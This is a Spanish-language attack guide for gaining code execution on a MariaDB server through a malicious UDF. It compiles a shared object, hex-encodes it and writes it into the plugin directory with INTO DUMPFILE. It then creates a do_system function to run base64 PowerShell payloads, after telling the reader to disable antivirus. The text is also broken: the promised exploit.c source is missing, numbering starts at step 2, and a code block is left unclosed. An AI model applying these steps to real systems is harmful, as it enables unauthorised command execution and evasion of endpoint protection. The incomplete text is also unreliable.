
Ejecución de código autenticada en base de datos
Esta guía proporciona instrucciones paso a paso para reproducir un ataque de Función Definida por el Usuario (UDF) en un sistema de base de datos. Tenga en cuenta que este exploit puede funcionar en algunos sistemas, pero podría no funcionar correctamente en arquitecturas de 64 bits o ciertas compilaciones.
Advertencia: Esto es solo con fines educativos. El uso no autorizado de estas técnicas es ilegal y poco ético.
Primero, cree un archivo llamado exploit.c y agregue el siguiente código:
### 2. Compilar el Código UDF
Compile el código del exploit usando el compilador `x86_64-w64-mingw32-gcc`:
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
Genere un archivo de objeto compartido (exploit.so) a partir del archivo objeto compilado:
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
Use xxd para convertir el archivo .so a un formato hexadecimal:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
Copie el valor hexadecimal de hex_value.txt y ejecute el siguiente comando en su base de datos:
DB> set @shell = 0x<hex_value>;
Encuentre el directorio de plugins ejecutando:
DB> select @@plugin_dir;
Luego, cree el objeto compartido del exploit en el directorio de plugins:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
Nota: Ajuste la ruta según la configuración de su sistema o el directorio de plugins específico.
Cree una nueva función en la base de datos usando el exploit:
DB> create function do_system returns integer soname 'exploit.so';
Desactive cualquier antivirus o Windows Defender que pueda bloquear el exploit. Luego, ejecute un comando usando la función recién creada:
DB> select do_system('powershell base64 here');
Reemplace 'powershell base64 here' con el payload codificado en base64 del comando que desea ejecutar.
Descargo de responsabilidad: Este documento está destinado únicamente a fines educativos e investigación de seguridad. El mal uso de esta información puede resultar en cargos penales y severas sanciones legales. Siempre obtenga permiso de las autoridades pertinentes antes de probar cualquier vulnerabilidad en una red o sistema.